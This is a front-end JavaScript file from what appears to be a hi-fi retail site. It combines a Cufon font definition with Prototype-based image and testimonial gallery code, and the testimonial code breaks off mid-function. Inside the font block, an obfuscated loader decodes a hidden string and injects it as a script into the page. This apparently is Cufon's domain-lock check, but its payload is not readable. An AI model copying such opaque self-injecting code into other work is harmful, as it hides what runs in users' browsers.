,9,-105,5,-105,62v0,67,94,68,126,33v0,6,2,12,3,18r52,0v-13,-34,-7,-93,-7,-138xm63,-53v0,-37,51,-22,72,-38v2,37,-5,63,-41,62v-18,0,-31,-5,-31,-24","w":206},{"d":"72,-122r-57,-45r0,44r33,25r-33,26r0,43r57,-45r0,-48xm145,-122r-57,-45r0,44r33,25r-33,26r0,43r57,-45r0,-48","w":159},{"d":"107,-33v-58,-1,-57,-120,1,-120v22,0,35,11,38,32r50,0v-4,-47,-37,-70,-87,-70v-63,0,-90,40,-95,101v-8,111,174,130,183,19r-49,0v-3,23,-17,38,-41,38","w":206},{"d":"22,59v52,-4,61,-53,56,-114r-56,0r0,55r26,0v-1,18,-10,30,-26,33r0,26","w":100},{"d":"103,-280v-27,0,-44,18,-44,44v0,26,18,44,44,44v27,0,45,-18,45,-44v0,-26,-17,-44,-45,-44xm103,-211v-14,0,-22,-12,-22,-25v0,-13,8,-25,22,-25v14,0,23,11,23,25v0,14,-9,25,-23,25xm186,-138v0,-73,-135,-64,-160,-21v-5,8,-8,18,-9,30r51,0v1,-20,14,-25,34,-28v32,-5,48,38,15,44v-47,9,-105,5,-105,62v0,67,94,68,126,33v0,6,2,12,3,18r52,0v-13,-34,-7,-93,-7,-138xm63,-53v0,-37,51,-22,72,-38v2,37,-5,63,-41,62v-18,0,-31,-5,-31,-24","w":206},{"d":"12,-72v0,84,115,97,155,46r21,26r63,0r-53,-61v13,-16,22,-38,25,-63r-44,0v-2,11,-3,21,-9,30r-34,-40v23,-13,46,-30,46,-64v-1,-42,-29,-62,-70,-62v-38,0,-65,20,-67,59v0,25,13,38,24,54v-27,16,-57,32,-57,75xm140,-60v-18,37,-98,24,-77,-25v6,-13,18,-23,33,-28xm114,-226v22,-2,32,33,16,47v-5,5,-12,9,-19,14v-18,-13,-32,-58,3,-61","w":246},{"d":"132,-53v-3,35,-75,31,-73,-7r-49,0v3,47,40,63,88,65v56,3,102,-34,80,-87v-14,-35,-76,-27,-107,-47v-13,-14,3,-30,23,-28v19,2,35,5,35,25r49,0v-4,-43,-37,-53,-82,-59v-71,-9,-115,77,-44,103v26,10,71,9,80,35","w":193},{"d":"91,-100r0,100r57,0r0,-99r95,-158r-63,0r-59,101r-61,-101r-63,0","w":240,"k":{"v":20,"u":27,"q":33,"p":27,"o":40,"i":13,"e":40,"a":33,"A":27,";":33,":":33,".":50,"-":40,",":50}},{"d":"100,-252v-5,36,-32,50,-73,50r0,39r63,0r0,163r51,0r0,-252r-41,0"},{"d":"133,6v68,-1,110,-33,110,-103r0,-160r-57,0r0,160v0,39,-14,56,-53,56v-38,0,-53,-20,-53,-56r0,-160r-56,0r0,160v-1,70,39,103,109,103","w":266},{"d":"107,-33v-32,-2,-44,-26,-44,-60v0,-34,12,-60,45,-60v59,0,60,122,-1,120xm90,5v27,0,48,-11,60,-28r0,88r51,0r0,-251r-49,0r0,24v-11,-19,-30,-29,-57,-29v-58,0,-82,42,-83,99v-1,58,26,97,78,97","w":219},{"d":"19,-120r0,44r108,0r0,-44r-108,0","w":146},{"d":"55,-209r56,-51r-57,0r-35,51r36,0xm21,-186r0,186r51,0r0,-186r-51,0","w":92},{"d":"142,-280r55,-51r-56,0r-35,51r36,0xm133,6v68,-1,110,-33,110,-103r0,-160r-57,0r0,160v0,39,-14,56,-53,56v-38,0,-53,-20,-53,-56r0,-160r-56,0r0,160v-1,70,39,103,109,103","w":266},{"d":"69,-55r0,55r57,0r0,-55r-57,0xm189,-194v0,-70,-110,-90,-153,-44v-15,14,-24,36,-24,64r52,0v-8,-47,68,-68,68,-15v0,49,-68,44,-57,112r48,0v-2,-64,66,-50,66,-117"},{"d":"150,-95v0,29,-15,51,-44,51v-31,0,-40,-25,-41,-56v-1,-31,13,-53,41,-53v32,0,44,25,44,58xm102,70v61,1,96,-26,96,-82r0,-174r-48,0v-1,8,2,19,-1,25v-11,-19,-27,-30,-55,-30v-54,1,-80,39,-80,92v0,56,24,92,79,94v26,1,45,-13,57,-29v3,39,-5,71,-41,70v-19,-1,-35,-8,-38,-26r-51,0v4,42,38,59,82,60","w":219},{"d":"25,-257r0,257r182,0r0,-48r-126,0r0,-209r-56,0","w":213,"k":{"y":13,"Y":40,"W":20,"V":33,"T":33}},{"d":"25,-257r0,257r195,0r0,-48r-139,0r0,-63r125,0r0,-43r-125,0r0,-56r136,0r0,-47r-192,0","w":233},{"d":"90,6v58,1,86,-31,85,-87r0,-176r-56,0r-1,188v-1,17,-10,28,-29,28v-29,0,-34,-25,-33,-55r-51,0v-6,67,26,101,85,102"},{"d":"140,-216v71,-3,86,98,54,148r-29,-27r-26,28r24,22v-54,17,-95,-25,-93,-82v2,-50,20,-87,70,-89xm14,-127v-5,104,97,161,188,118r37,33r26,-28r-32,-29v20,-22,34,-53,33,-94v-2,-83,-44,-136,-126,-136v-82,0,-122,53,-126,136","w":280},{"d":"42,-257r0,42r49,0r0,-42r-49,0xm116,-257r0,42r49,0r0,-42r-49,0xm62,-113v-2,-35,46,-53,70,-30v7,6,11,17,13,30r-83,0xm148,-58v-14,38,-95,32,-86,-23r134,0v1,-64,-27,-110,-91,-110v-60,0,-90,39,-95,98v-9,108,157,134,183,35r-45,0","w":206},{"d":"120,-256v-57,-6,-95,12,-89,70r-31,0r0,34r31,0r0,152r51,0r0,-152r35,0r0,-34r-35,0v-5,-29,12,-38,38,-31r0,-39","w":119,"k":{"f":6}},{"d":"75,-215r0,-42r-51,0r0,42r51,0xm24,6v2,17,-16,19,-30,16r0,42v48,5,81,-6,81,-55r0,-195r-51,0r0,192","w":100},{"d":"182,-177v0,49,-57,34,-101,36r0,-72v44,2,101,-13,101,36xm239,-186v0,-44,-30,-71,-76,-71r-138,0r0,257r56,0r0,-100r57,0v55,-5,38,63,52,100r56,0v-19,-37,0,-111,-48,-122v26,-10,41,-31,41,-64","w":259,"k":{"Y":13,"W":6,"V":6,"T":6}},{"d":"82,-210r0,210r56,0r0,-210r77,0r0,-47r-210,0r0,47r77,0","w":219,"k":{"y":40,"w":40,"u":33,"s":40,"r":33,"o":40,"e":40,"c":40,"a":40,"A":33,";":40,":":40,".":40,"-":46,",":40}},{"d":"89,-284v16,-43,100,39,110,-44r-24,0v-20,36,-98,-39,-108,44r22,0xm25,-257r0,257r53,0r0,-172r107,172r57,0r0,-257r-53,0r-1,172r-107,-172r-56,0","w":266},{"d":"158,-93v1,34,-13,60,-45,60v-31,0,-44,-26,-44,-60v0,-34,12,-60,44,-60v32,0,44,28,45,60xm124,-191v-27,-1,-44,13,-56,29r0,-24r-49,0r0,251r52,0r0,-88v11,16,30,28,56,28v56,-2,82,-41,82,-96v0,-58,-26,-99,-85,-100","w":219},{"d":"136,-181v-2,26,-24,33,-54,31r0,36v33,-1,58,3,58,37v0,24,-18,40,-41,40v-29,-1,-42,-21,-44,-50r-49,0v2,59,34,92,94,92v53,0,92,-28,94,-83v1,-31,-21,-50,-45,-58v22,-5,35,-24,35,-51v0,-71,-105,-90,-147,-46v-14,15,-23,36,-24,63r48,0v0,-25,14,-46,39,-45v19,0,37,13,36,34"},{"d":"66,-213v16,-43,100,38,110,-44r-25,0v-13,37,-69,-25,-94,14v-5,8,-11,19,-13,30r22,0xm110,-33v-33,0,-45,-26,-45,-60v0,-34,12,-60,45,-60v33,0,45,26,45,60v0,34,-12,60,-45,60xm110,-191v-62,0,-96,37,-96,98v0,61,34,98,96,98v62,0,96,-37,96,-98v0,-61,-34,-98,-96,-98","w":219},{"d":"204,-80v-10,0,-5,-17,-3,-23r23,-93r-30,0r-5,19v-7,-15,-23,-24,-42,-25v-83,-6,-113,148,-22,153v18,1,30,-9,39,-20v1,12,13,22,26,20v49,-7,85,-45,85,-104v0,-72,-55,-110,-125,-110v-82,0,-131,53,-137,134v-9,133,185,180,248,77r-30,0v-16,17,-45,30,-77,29v-66,-2,-106,-38,-106,-105v0,-65,37,-105,101,-106v60,-1,98,30,98,88v0,33,-12,66,-43,66xm133,-83v-17,1,-29,-13,-28,-32v2,-28,17,-51,44,-53v16,-1,28,14,28,31v-2,29,-16,52,-44,54","w":288},{"d":"140,-41v-49,0,-70,-37,-70,-86v0,-50,20,-89,70,-89v50,0,70,39,70,89v0,49,-21,86,-70,86xm140,-263v-82,0,-126,53,-126,136v0,81,45,133,126,133v81,0,126,-52,126,-133v0,-83,-44,-136,-126,-136","w":280},{"d":"25,-257r0,257r56,0r0,-83r33,-33r77,116r71,0r-110,-156r100,-101r-70,0r-101,107r0,-107r-56,0","w":259},{"d":"25,-257r0,257r56,0r0,-257r-56,0","w":106},{"d":"25,-257r0,257r53,0r0,-180r63,180r44,0r64,-182r0,182r53,0r0,-257r-80,0r-57,177r-61,-177r-79,0","w":326},{"d":"138,6r-101,-269r-41,0r100,269r42,0","w":133},{"d":"183,-53v-25,35,-82,-7,-114,14v20,-13,37,-38,27,-72r38,0r0,-31r-48,0v-20,-23,-24,-81,20,-79v28,1,39,21,39,48r49,0v0,-57,-30,-90,-87,-90v-52,0,-90,22,-93,71v-1,20,9,39,17,50r-23,0r0,31r35,0v19,34,-9,71,-34,84r23,33v47,-39,126,32,172,-23"},{"d":"46,-260r56,51r35,0r-34,-51r-57,0xm110,-33v-33,0,-45,-26,-45,-60v0,-34,12,-60,45,-60v33,0,45,26,45,60v0,34,-12,60,-45,60xm110,-191v-62,0,-96,37,-96,98v0,61,34,98,96,98v62,0,96,-37,96,-98v0,-61,-34,-98,-96,-98","w":219},{"d":"106,-130v-6,-53,68,-69,79,-24r28,0v-4,-35,-27,-56,-65,-56v-50,0,-72,32,-76,81v-7,88,130,110,143,23r-30,0v-2,18,-16,28,-36,28v-29,0,-40,-23,-43,-52xm144,-23v-63,0,-102,-42,-102,-106v0,-63,39,-105,102,-105v63,0,102,43,102,105v0,63,-39,106,-102,106xm144,-263v-82,0,-138,50,-138,134v0,84,57,135,138,135v81,0,138,-51,138,-135v0,-84,-56,-134,-138,-134","w":288},{"d":"120,-38v-34,0,-56,-14,-57,-47r-54,0v1,65,47,84,109,91v104,12,148,-121,51,-152v-31,-10,-72,-13,-94,-32v-10,-23,10,-43,36,-41v29,2,50,10,51,39r54,0v-1,-60,-44,-78,-103,-83v-90,-8,-132,108,-47,142v35,14,96,8,104,51v-1,25,-24,32,-50,32","w":233},{"d":"102,-263v-56,-3,-98,57,-60,98v-31,7,-50,53,-29,83v22,34,75,43,106,67v18,14,6,44,-18,42v-21,-1,-34,-11,-35,-31r-45,0v1,48,33,66,81,69v61,4,103,-64,57,-102v29,-9,51,-52,29,-82v-22,-32,-72,-42,-103,-65v-20,-15,-5,-41,18,-41v19,0,29,13,30,31r45,0v-2,-45,-30,-67,-76,-69xm136,-103v25,8,16,54,-11,40v-25,-13,-53,-26,-74,-44v-9,-16,6,-41,25,-30"},{"d":"71,-4v24,21,62,-2,74,-22r0,26r49,0r0,-186r-51,0v-6,57,22,153,-40,151v-56,-2,-24,-99,-32,-151r-52,0r0,251r52,0r0,-69","w":213},{"d":"72,-235v42,0,36,63,0,63v-18,0,-30,-14,-30,-32v0,-17,12,-31,30,-31xm72,-257v-32,0,-53,21,-53,53v0,33,22,54,53,54v31,0,53,-21,53,-54v0,-32,-21,-53,-53,-53","w":144},{"d":"62,-328r0,42r49,0r0,-42r-49,0xm136,-328r0,42r49,0r0,-42r-49,0xm90,-99r34,-95r32,95r-66,0xm95,-257r-97,257r57,0r20,-57r96,0r19,57r59,0r-96,-257r-58,0","w":246},{"d":"138,-168v0,27,-13,47,-41,47v-26,0,-38,-21,-38,-48v0,-26,13,-46,38,-46v27,0,41,21,41,47xm94,-33v-18,0,-30,-17,-34,-32r-48,0v6,44,34,70,82,70v72,0,99,-61,99,-132v0,-71,-23,-130,-97,-130v-55,0,-83,36,-88,92v-6,76,97,109,134,54v2,35,-13,78,-48,78"},{"d":"0,27r0,18r180,0r0,-18r-180,0","w":180},{"d":"127,-110r0,-72r-38,0r0,72r-72,0r0,38r72,0r0,72r38,0r0,-72r72,0r0,-38r-72,0","w":216},{"d":"111,-188v3,26,0,60,1,88r-66,0xm112,-58r0,58r49,0r0,-58r33,0r0,-42r-33,0r0,-152r-46,0r-109,147r0,47r106,0"},{"d":"55,-328r0,42r49,0r0,-42r-49,0xm130,-328r0,42r48,0r0,-42r-48,0xm25,-257r0,257r195,0r0,-48r-139,0r0,-63r125,0r0,-43r-125,0r0,-56r136,0r0,-47r-192,0","w":233},{"d":"88,-135r-90,135r64,0r57,-89r56,89r67,0r-89,-134r82,-123r-62,0r-52,82r-50,-82r-66,0","w":240},{"d":"181,-160v-15,-44,-93,-36,-112,-1r0,-25r-48,0r0,186r51,0v6,-56,-21,-147,35,-151v28,-2,30,21,31,47r0,104r51,0v7,-55,-23,-148,34,-151v27,-1,31,20,31,46r0,105r51,0v-4,-82,25,-191,-68,-191v-27,0,-44,16,-56,31","w":326}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-149-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("3P6.T*ovz9X_3@%8s*?^bPbXulo.6*X_uli^z9k56#0`frvEuG[g(PfluG[g(PfduG[g(P[ruG[g(PfvuG[g(Po%#.aUf%>.()2*(ukHsS~gfO?HsS~g6*?XuG[g(P6Ep?gEuG[g(P(luG[g(PiQuG[g(PUj6?>.()2c(#>.()2%69?HsS~gf9?HsS~g6SslJ%>.()2c|?>.()2Qo%>.()2%f#>.()2*f.>.()2EflcHsS~g6SiHsS~gfSi8J#>.()2co?>.()2Q6EdwuG[g(P[>uG[g(PkOuG[g(PfruG[g(P(duG[g(P6*uG[g(P[dz#>.()2Oo#>.()2c6#>.()2Eo?>.()2Q|#>.()2c()>HsS~gfS6HsS~gfOf{uG[g(Po*T?>.()2Of.>.()2%6%>.()2*(}dH$.>.()2O6?>.()2OolXHsS~g6OsHsS~gfrcHsS~g6)kHsS~gfr?HsS~g6*#HsS~gfOiHsS~gfS#HsS~gfOoHsS~g6S6HsS~g6)#HsS~gfl}guG[g(P(^U.>.()2cf.>.()2O(rfXu#>.(~2@)}?PGbi3$(o|yUktS[#9uf6zTHsJp{cEOQ%*51a:+`R_Ng>^rv.lwjdI80XCD)2E6[kjp%6HsS~g69oTTOcHsS~gfO{53#>.()2O(}cHsS~g6)(.uG[g(Pics#>.()2c6OaHsS~g6)b%uG[g(P[juG[g(PkEuG[g(P6QiP#@uG[g(P?Eo.>.()2Q(?>.()2Q6)dHsS~gfO%^k^?HsS~g6OcHsS~gfOs2(%>.()2QolRHsS~gf*f:f?>.()2Q6t(8k%>.()2%o@cJuG[g(P[guG[g(PiEf^>HsS~g6S[*H.Q>#u}RuG[g(P#QuG[g(Pkcyls(k[akuG[g(P#E6*at#?>.()2Q(u~ruG[g(Pf.U}X$t[.Hu?>.()2c(.>.()2*(%>.()2c|#oHsS~gfSsHsS~gfO#HsS~gfO2HsS~gfrUdu^`vuG[g(PoE9PvE$5ogTP%v3@bE3t>ayS~`H).E$5~`T).g$*>%T*svz@>5y9b_6Ed5TG%gzG(XJwv8z9f1fEdNzrvNuE{D|5sws.g_3S01yra1z96a6l#cH%g_flXH$5#+p@j+u@dvzuk`69kH$*oNu@d.z^QQ$lQ_sP#rs@c`TlocsP%NTEd1TwovT*?R6tQa6*X^3)RayPg83^Ra39sTf.Rau#vXH?Rauuva3@Q{")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":200,"face":{"font-family":"HelveticaNeueMed","font-weight":700,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 8 3 0 0 0 9 0 4","ascent":"288","descent":"-72","x-height":"5","bbox":"-20 -351 340 78.0202","underline-thickness":"18","underline-position":"-27","unicode-range":"U+0020-U+00FF"}}));

/**
* Prototype/Scriptaculous Scrolling/Fading Image Gallery
*
* Version: 1.0
*
**/

var Gallery = Class.create({
	initialize: function(id, defaultImage,json) {
		this.gallery = $(id);
		current = 0;
		this.imageBlock = "";
		//this.json = json;
		totalPanes = 0;
		slideshowTimeout = "";
		this.paginationScrollPos = 0;
		this.newPaginationWidth = 0;
		//this.galleryDefaults = "";
		this.options = {
            imageNum: "imageNumber",
            imagePrev: "imagePrev",
            imageNext: "imageNext"
		}
		//alert(jsonURL);
		
		var imageBlock = "";
		var paginationBlock = "";
		
		//Build the initial view for the images and get gallery defaults
		json.images.each(function(s, imageCount) {
			totalPanes++;
			//Build image list
			//Check for alt text on image so you don't get 'undefined'
			imageAlt = (json.images[imageCount]['alt'] != "") ? json.images[imageCount]['alt'] : "";
						
			imageBlock+= '<div id="galleryImage'+imageCount+'">';
			imageBlock+= '<img src="'+json.images[imageCount]['src']+'" title="'+json.images[imageCount]['alt']+'" alt="'+json.images[imageCount]['alt']+'" />';

			imageBlock+= '</div>';
			//Build pagination list
			if(imageCount == 0) { var paginationClass = 'selected'; var imgsrc = "/skin/frontend/default/hifigear/images/gallery/on.jpg";  } else { var paginationClass = 'imageNumber'; var imgsrc = "/skin/frontend/default/hifigear/images/gallery/off.jpg"; }
			paginationBlock += '<div class="paginationLink" id="link'+imageCount+'"><a href="#" class="'+paginationClass+'" id="image'+imageCount+'"><img src="' + imgsrc + '" /></a></div>\n';
							 
		});
	
		$('imageContainer').update(imageBlock);
		if(totalPanes > 1) {
			$('galleryPaginationScroller').update(paginationBlock);
		}
		
		$('galleryDescription').update("<h3><a href=\"" + json.images[0]['href'] + "\">"+json.images[0]['title']+"</a></h3><h4>&pound;"+ json.images[0]['price'] +"</h4><span class=\"clear\"></span>" + json.images[0]['desc']);
		//Cufon.refresh();

		
		$('paginationCounter').update('1/' + totalPanes);
		//Cufon.refresh('paginationCounter');

		
		this.galleryInitialise(json);
		
		if(totalPanes > 1) {
			this.slideShow(json);
		}
		
		if(totalPanes == 1) {
			$('paginationCounter').hide();
			$$('.loading').each(function(i) {
				i.hide();
			});
		}
	
	},
	galleryInitialise: function(json) {
		//Configure the containers for the gallery to be the correct width and height
		$('bottomPanel').setStyle({'height': json.galleryDefaults['bottomPanelHeight']+'px'});
		$('imageContainer').setStyle({'width':(json.galleryDefaults['galleryWidth']*totalPanes)+json.galleryDefaults['galleryWidth']+'px'});
		$('galleryContainer').setStyle({'width':json.galleryDefaults['galleryWidth']+'px'});
		$('imageOuterContainer').setStyle({'width':json.galleryDefaults['galleryWidth']+'px','height':json.galleryDefaults['galleryHeight']+'px'});
		//$('pagination').setStyle({'max-width':json.galleryDefaults['galleryWidth']+'px','width':json.galleryDefaults['galleryWidth']+'px'});
		
		//$('homeClick').setAttribute('href', json.images[0]['href']);
		
		//Get gallery info
		var clickHandler =  this.clickHandler.bindAsEventListener(this,json);
        this.gallery.observe('click', clickHandler);
		
		//Handle bottomPanel displaying/faded and mouseover/mouseout events
		//Initial animation and fade
		/*new Effect.Move("bottomPanel", {
			x: 0, 
			y: -parseInt(json.galleryDefaults['bottomPanelHeight']),
			duration:json.galleryDefaults['changeSpeed'], 
			delay:0, 
			mode: 'relative', 
			queue: 'end',
			transition: Effect.Transitions.sinoidal
		});
		
		new Effect.Opacity('bottomPanel', { from:1.0,to:json.galleryDefaults['bottomPanelFadeAmount']});
		
		var fadeBottomPanel = "";
		Event.observe('bottomPanel', 'mouseover', function(event) {
			clearTimeout(fadeBottomPanel);
		   if($('bottomPanel').getStyle('opacity') < 1) {
			   new Effect.Opacity('bottomPanel', { to:1.0});
			}
		});
		Event.observe('bottomPanel', 'mouseout', function(event) {
			 if($('bottomPanel').getStyle('opacity') == '1.0') {
				fadeBottomPanel = setTimeout("new Effect.Opacity('bottomPanel', { from:1.0,to:"+json.galleryDefaults['bottomPanelFadeAmount']+"});",1000);
			}
		});/**/
		
		//Add galleryType specific style for positioning
		for(var i=0;i<totalPanes;i++) {
			Element.addClassName('galleryImage'+i,json.galleryDefaults['galleryType']+'Image');	
		}
				
		//Add extra styles needed for fading
		if(json.galleryDefaults['galleryType'] == "fade" && totalPanes > 0) {
			Element.removeClassName('galleryImage0','fadeImage');
			Element.addClassName('galleryImage0','fadeImage-initial');
			for(var fadeBuilder=1;fadeBuilder<totalPanes;fadeBuilder++) {
				$('galleryImage'+fadeBuilder).setStyle({display: 'none'});
			}
		}
		
		
		newPaginationWidth = (json.galleryDefaults['paginationCount']*json.galleryDefaults['paginationButtonWidth']);
		var buttonWidth = json.galleryDefaults['paginationButtonWidth'];
	},
	
	clickHandler: function(e,json) {
        var el = e.element().up(0);
		if(el.hasClassName(this.options.imageNum)) {
            this.endSlideShow();
			$$('.loading').each(function(i) {
				i.setAttribute('style', 'visibility: hidden;');
			 });
			this.changeImage(el,true,json);	
        } else if(el.hasClassName(this.options.imagePrev)) {
			this.endSlideShow();	
			this.prevImage(json);		
		} else if(el.hasClassName(this.options.imageNext)) {
			this.endSlideShow();	
			this.nextImage(json);
		}
    },
	
	changeImage: function(el,getAttr,json) {
		if(getAttr == true) {
			var elementId = el.getAttribute('id');
			var newcurrent = elementId.replace("image","");
		} else {
			var newcurrent = el;
		}
		
		var newImageId = newcurrent;
		var oldXPos = current;
		
		
		if(json.galleryDefaults['galleryType'] == "slide") {
			if(newcurrent > current) {
				new Effect.Move("imageContainer", {
					x: -(newcurrent*json.galleryDefaults['galleryWidth']), 
					duration:json.galleryDefaults['changeSpeed'], 
					delay:0, 
					y: 0, 
					mode: 'absolute', 
					queue: 'front',
					transition: Effect.Transitions.sinoidal
				});
		
			} else if(newcurrent < current) {
				new Effect.Move("imageContainer", {
					x: ((current-newcurrent)*json.galleryDefaults['galleryWidth']), 
					duration:json.galleryDefaults['changeSpeed'], 
					delay:0, 
					y: 0, 
					mode: 'relative', 
					queue: 'front',
					transition: Effect.Transitions.sinoidal
				
				});
			}
		} else if(json.galleryDefaults['galleryType'] == "fade") {
			if(oldXPos != newImageId) {
				$('galleryImage'+newImageId).appear({ duration: json.galleryDefaults['changeSpeed'] });
				$('galleryImage'+oldXPos).fade({ duration: json.galleryDefaults['changeSpeed'] });
				//$('homeClick').setAttribute('href', json.images[newImageId]['href']);
			}
		}
		
		//Set new current value
		current = newcurrent;
		//Check and change the pagination
		this.changePagination(current,oldXPos,getAttr,false,json);
		//Change the title and description for the image
		this.changeTitle(current,json);
	},
	
	prevImage: function(json) {
		if(current > 0 && totalPanes > 0) {
			this.changeImage(parseInt(current)-1,false,json);
		}
	},
	
	nextImage: function(json) {
		if(slideshowTimeout && current == (totalPanes-1)) {
			//current = 0;
			this.changeImage(0,false,json);
			this.changePagination(0,(totalPanes-1),false,true,json);
		} else {
			if(current < (totalPanes-1)) {
				this.changeImage(parseInt(current)+1,false,json);
			} else if(current == (totalPanes-1) && slideshowTimeout) {
				this.changeImage(0,false,json);
				this.changePagination(0,(totalPanes-1),false,false,json);
			}
		}
	},	
	
	changePagination: function(elNum,oldelNum,getAttr,resetPagination,json) {
		//Handle displaying of previous button
		if(current == 0 || totalPanes <= 1) {
			//new Effect.Opacity('galleryPrevButtonContainer', { from:1.0,to:0.3});
			//$('galleryPrevButtonContainer').update(json.galleryDefaults['previousLinkText']);
		} else if((elNum > oldelNum) && elNum > 0) {
			/*if($('galleryPrevButtonContainer').getOpacity() < '0.4') {
				var addPrevLink = new Element('a', { 'class': 'imagePrev', 'href': '#', 'id': 'galleryPrevButton' }).update(json.galleryDefaults['previousLinkText']);
				$('galleryPrevButtonContainer').update(addPrevLink);
				new Effect.Opacity('galleryPrevButtonContainer', { from:0.3,to:1.0});
				
			}/**/
			if(getAttr) {
				//Get the scroll position of the pagination relative to the image number and pagination count
				var paginationNum = 0;
				for(var paginationNumCount=0;paginationNumCount<elNum;paginationNumCount++) {
					paginationNum++;
					if(paginationNum == json.galleryDefaults['paginationCount']) {
						paginationNum = 0;
					}
				}
				this.paginationScrollPos = paginationNum;
			} else {
				if(this.paginationScrollPos < json.galleryDefaults['paginationCount']) {
					this.paginationScrollPos++;
				} else {
					this.paginationScrollPos = json.galleryDefaults['paginationCount'];
				}
			}
		}
		
		//Handle displaying of next button
		if(current == (totalPanes-1) || totalPanes <= 1) {
			//new Effect.Opacity('galleryNextButtonContainer', { from:1.0,to:0.3});
			//$('galleryNextButtonContainer').update(json.galleryDefaults['nextLinkText']);
		} else if((elNum < oldelNum) && elNum < totalPanes) {		
			/*if($('galleryNextButtonContainer').getOpacity() < '0.4') {
				var addNextLink = new Element('a', { 'class': 'imageNext', 'href': '#', 'id': 'galleryNextButton' }).update(json.galleryDefaults['nextLinkText']);
				$('galleryNextButtonContainer').update(addNextLink);
				new Effect.Opacity('galleryNextButtonContainer', { from:0.3,to:1.0});
			}/**/
			if(getAttr) {
				//Get the scroll position of the pagination relative to the image number and pagination count
				var paginationNum = 0;
				for(var paginationNumCount=0;paginationNumCount<elNum;paginationNumCount++) {
					paginationNum++;
					if(paginationNum == json.galleryDefaults['paginationCount']) {
						paginationNum = 0;
					}
				}
				this.paginationScrollPos = paginationNum;
			} else {
				if(this.paginationScrollPos > 0) {
					this.paginationScrollPos--;
				} else {
					this.paginationScrollPos = json.galleryDefaults['paginationCount'];
				}
			}
		}
		
		//Scroll the pagination container
		if(elNum > oldelNum) {
			if(this.paginationScrollPos == json.galleryDefaults['paginationCount']) {
				new Effect.Move("galleryPaginationScroller", {
					x: -((elNum*json.galleryDefaults['paginationButtonWidth'])+10), 
					duration:json.galleryDefaults['changeSpeed'], 
					delay:0, 
					y: 0, 
					mode: 'absolute', 
					queue: 'end',
					transition: Effect.Transitions.sinoidal
				});
			this.paginationScrollPos = 0;
			}
		} else if(elNum < oldelNum) {
			//Reset pagination display if reset is called (when the scroller loops through)
			if(resetPagination == true) { 
				thisPaginationWidth = 0;
				var positionType = 'absolute'; 
			} else { 
				//Fix for scrolling amount if imageNum is double figures
				if(elNum < 8) {
					thisPaginationWidth = (newPaginationWidth+5);
				} else {
					thisPaginationWidth = newPaginationWidth;
				}
				var positionType = 'relative';
			}
			
			if(this.paginationScrollPos == json.galleryDefaults['paginationCount']) {
				new Effect.Move("galleryPaginationScroller", {
					x: parseInt(thisPaginationWidth), 
					duration:json.galleryDefaults['changeSpeed'], 
					delay:0, 
					y: 0, 
					mode: positionType, 
					queue: 'end',
					transition: Effect.Transitions.sinoidal
				});
			this.paginationScrollPos--;
			}
			
			//Reset the pagination scroller if reset is called (when the scroller loops through)
			if(resetPagination == true) {
				this.paginationScrollPos = 0;
			}
			//alert(this.paginationScrollPos);
		}
		
		//Style the selected image number link
		$('galleryPaginationScroller').select('a').each(function (w) { 
			w.down('img').setAttribute('src', '/skin/frontend/default/hifigear//images/gallery/off.jpg');
			w.removeClassName('selected');
			w.addClassName('imageNumber');
		});
		//$('image'+elNum).removeClassName('imageNumber');
		$('image'+elNum).addClassName('selected');
		$('image'+elNum).down('img').setAttribute('src', '/skin/frontend/default/hifigear/images/gallery/on.jpg');
		$('paginationCounter').update((parseInt(elNum)+1) + '/' + totalPanes);
		Cufon.replace($('paginationCounter'), {fontFamily: 'AmerType Md BT'});
	},
	
	changeTitle: function(el,json) {
		title = "";
		desc = "";
		new Effect.Opacity('galleryDescription', { 
			queue:'front',
			duration: 0.25,
			transition: Effect.Transitions.linear,
			from: 1.0, 
			to: 0.0,
			delay: 0.0,
			afterFinish: function callback() {
				if(json.images[el]['title']) { title = json.images[el]['title']; }
				if(json.images[el]['desc']) { desc = json.images[el]['desc']; }
				if(json.images[el]['price']) { price = json.images[el]['price']; }
				$('galleryDescription').update("<h3><a href=\"" + json.images[el]['href'] + "\">"+title+"</a></h3><h4 class=\"cufon\">&pound;"+ price +"</h4><span class=\"clear\"></span>"+desc);
				var elementToRefresh = $('galleryDescription').descendants();
				
				//Cufon.refresh(elementToRefresh[0]);
				Cufon.replace($(elementToRefresh[0]), {'fontFamily': 'HelveticaNeue'});
				Cufon.replace($(elementToRefresh[2]), {'fontFamily': 'HelveticaNeue'});
				//Cufon.refresh($('galleryDescription'));

				new Effect.Opacity('galleryDescription', { 
					queue:'front',
					duration: 0.25,
					transition: Effect.Transitions.linear,
					from: 0.0, 
					to: 1.0,
					delay: 0.0,
					afterFinish: function callback() {
						Cufon.refresh
					}
			   });
			}
		});

	},
	
	slideShow: function(json) {
		slideshowTimeout = setInterval(function(){gallery.nextImage(json);}, json.galleryDefaults['changeInterval']);	
		
	},
	
	endSlideShow: function() {
		clearInterval(slideshowTimeout);
	}
	
});

document.observe("dom:loaded", function() {
	try {
    	if(jsonObj) {
			
			gallery = new Gallery("galleryContainer", 1,jsonObj);
		}
	} catch(e) {
      variablename=[];
	}
});
// JavaScript Document

var TestimonialGallery = Class.create();
TestimonialGallery.prototype = {
	
	initialize: function() {
		$$('.testimonial-gallery').each(this.setup.bind(this));
		//$$('.search-text').each(this.setupSearch.bind(this));
	},
	setup: function(k, v) {
		this.gallery = $(k);
		this.containers = $(k).select('.testimonial-container');
		this.current = 0;
		this.panels = $(k).select('.testimonial');
		this.totalPanels = this.panels.length;
		this.pagination = this.gallery.select('.galleryPaginationScroller .paginationLink');
		
		var thisClass= this;
		var paginationCounter = this.gallery.select('.paginationCounter')[0];
		Cufon.replace(paginationCounter, {fontFamily: 'AmerType Md BT'});
		
		this.panels.each(function(e, q) {
			if(q == 0) {
				$(e).addClassName('current').removeClassName('inactive');
			} else {
				$(e).removeClassName('current').addClassName('inactive');
				thisClass.hidePanel(e);
			}
			
